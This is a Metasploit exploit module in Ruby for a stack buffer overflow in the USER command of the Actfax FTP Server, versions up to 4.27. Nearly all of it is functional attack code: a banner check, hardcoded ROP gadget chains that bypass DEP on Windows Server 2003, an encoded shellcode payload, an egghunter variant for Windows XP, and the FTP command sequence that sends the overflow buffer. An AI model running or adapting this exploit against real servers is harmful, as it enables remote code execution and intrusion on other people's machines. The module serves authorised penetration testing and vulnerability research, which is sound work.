##
# $Id: actfax_retr_ftp.rb 12540 2011-05-04 20:43:19Z mr_me $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Actfax FTP Server <= v4.27 USER Command Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in actfax ftp Server
        version 4.27 and earlier. Actfax fails to check input size when parsing 'USER' command.    
        This vulnerability results in arbitray code execution. This module has been designed to 
        bypass DEP under Windows Server 2003 SP2/R2.
      },
      'Author'         =>
        [
          'mr_me - twitter.com/net__ninja & mrme.mythsec<at>gmail.com',  # found/wrote msf module
          'chap0 - chap0.mythsec<at>gmail.com',        # for the original versions
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 12540 $',
      'References'     =>
        [
          [ 'OSVDB', '72520' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/16177/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 600,
          'DisableNops' => true,
          'EncoderType'     => Msf::Encoder::Type::AlphanumMixed,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Server 2003 DEP bypass targets (fully tested)
          [ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.4789',   { 'Ret' => 0x7C813C8F } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll]
          [ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.3959',   { 'Ret' => 0x7C813DE7 } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll]
          # NON DEP Bypass target  (fully tested)        
          [ 'Windows XP SP3 - Universal',   { 'Ret' => 0x004021C5 } ], # CALL EDI [ActSrvNT.exe]
        ],
      'DisclosureDate' => 'Jul 31 2011',
      'DefaultTarget' => 0))

  end

  def check
    connect
    disconnect

    if (banner =~ /Version 4.27/ || banner =~ /Version 4.25/)
      return Exploit::CheckCode::Vulnerable
    end
      return Exploit::CheckCode::Safe
  end

  def get_encoded_payload(p, reg)
    encoder = framework.encoders.create("x86/alpha_mixed")
    encoder.datastore.import_options_from_hash( {'BufferRegister'=>reg} )
    rencoded_payload = encoder.encode(p, nil, nil, platform)
    return rencoded_payload
  end

  def junk
    return rand_text_alpha(4).unpack("L")[0].to_i
  end

  def exploit
    connect

    if (target.name =~ /Server 2003/)
      sc = get_encoded_payload(payload.encoded, "ESP")

      # specially aligned RETN
      rop_stage1  = "\x42\x28\x5f"      # RETN [htnetcfg.dll]
      rop_stage1  += [0x5f282336].pack("V*") * 51  # RETN [htnetcfg.dll]

      # All rop stage 1 instructions are from htnetcfg.dll 
      # Tested versions 5.2.3790.3959 & 
      # which seem to be universal across all windows server 2003 SP's
      rop_stage1 += 
      [
        0x5F29C7F8,  # POP EAX; POP ESI; POP EBP; RETN 8
        0x5F2B5DC3,  # ptr to 0x00001000
        junk,    # JUNK
        0x5f29aa95,  # p2p that is writable, we also -0c to accommodate
        0x5F2A32DA,  # MOV EDX,DWORD PTR DS:[EAX]; JUNK; JUNK; JUNK; JUNK; JUNK; JUNK; RETN 8
        junk,    # JUNK
        junk,    # JUNK
        junk,    # JUNK
        0x5f282336,  # RETN
        junk,    # JUNK
        junk,    # JUNK
      ].pack("V*")

      # jump over the below stack alignment (Dont POP EDI)
      rop_stage1 += [0x5F2A345D].pack("V*")  # POP ECX; POP EBP; RETN [htnetcfg.dll]

      # rop_stage1 + stack_alignment to realign after retn address
      rop_stage1 += rand_text_alpha(1)
      stack_alignment = rand_text_alpha(3)

      # We have to be smart on how we use gadgets.
      # Almost a universal dep bypass as most ptrs are from "ActSrvNT.exe".
      # We can use null bytes 0x00 due to character conversion of 0x20!
      # Also, we waste ~208 bytes in payload space but thanks to nulls, we are saved!
      # EDX already contains = 1000 from flAllocationType (rop_stage1)
      rop_stage2 = 
      [
        0x204C2135,  # POP EAX; RETN
        0x2051E1B0,  # IAT -> VirtualAlloc
        0x2051D7A1,  # MOV EAX,DWORD PTR DS:[EAX]; RETN
        0x2040A4A0,  # POP EBX; RETN
        0x2040A4A0,  # POP EBX; RETN
        0x20422E7D,  # MOV ESI,EAX; CALL EBX
        0x2040F2c2,  # POP EBP; POP EBX; RETN
        0x204A5DED,  # JMP ESP
        0x20202120,  # dwSize
        0x204C2135,  # POP EAX; RETN
        0x44444444,  # INC ESP before sc (getPC)
        0x20415D7A,  # POP EDI; POP ECX; RETN
        0x20404A3F,  # RETN
        0x20202040,  # flProtect
        0x2045AB53,  # PUSHAD; RETN
      ].pack("V*")

      print_status("Targeting %s" % target.name)
      sploit = rop_stage1
      sploit << [target.ret].pack("V")
      sploit << stack_alignment
      sploit << rop_stage2
      sploit << sc
      sploit << rand_text_alpha((990-sploit.length))

    else
      eggoptions = 
      {
        :checksum => false,
        :eggtag => 'lulz',
      }
    
      # double encoded msf shellcode trick
      sc = get_encoded_payload(payload.encoded, "EDI")
      hunter,egg = generate_egghunter(sc, nil, eggoptions)

      # encode our hunter
      hunter = get_encoded_payload(hunter, "EDI")
      print_status("Targeting %s" % target.name)
      print_status("Sending stage 1 exploit buffer...")
      send_cmd(['USER', 'anonymous'], true)
      send_cmd(['PASS', egg], false)

      sploit = hunter
      sploit << rand_text_alpha(256-sploit.length)
      sploit << [target.ret].pack("V")

      # connect again ;)
      connect
    end

    # profit
    send_cmd(['USER', sploit] , false)
    handler
    disconnect

  end

end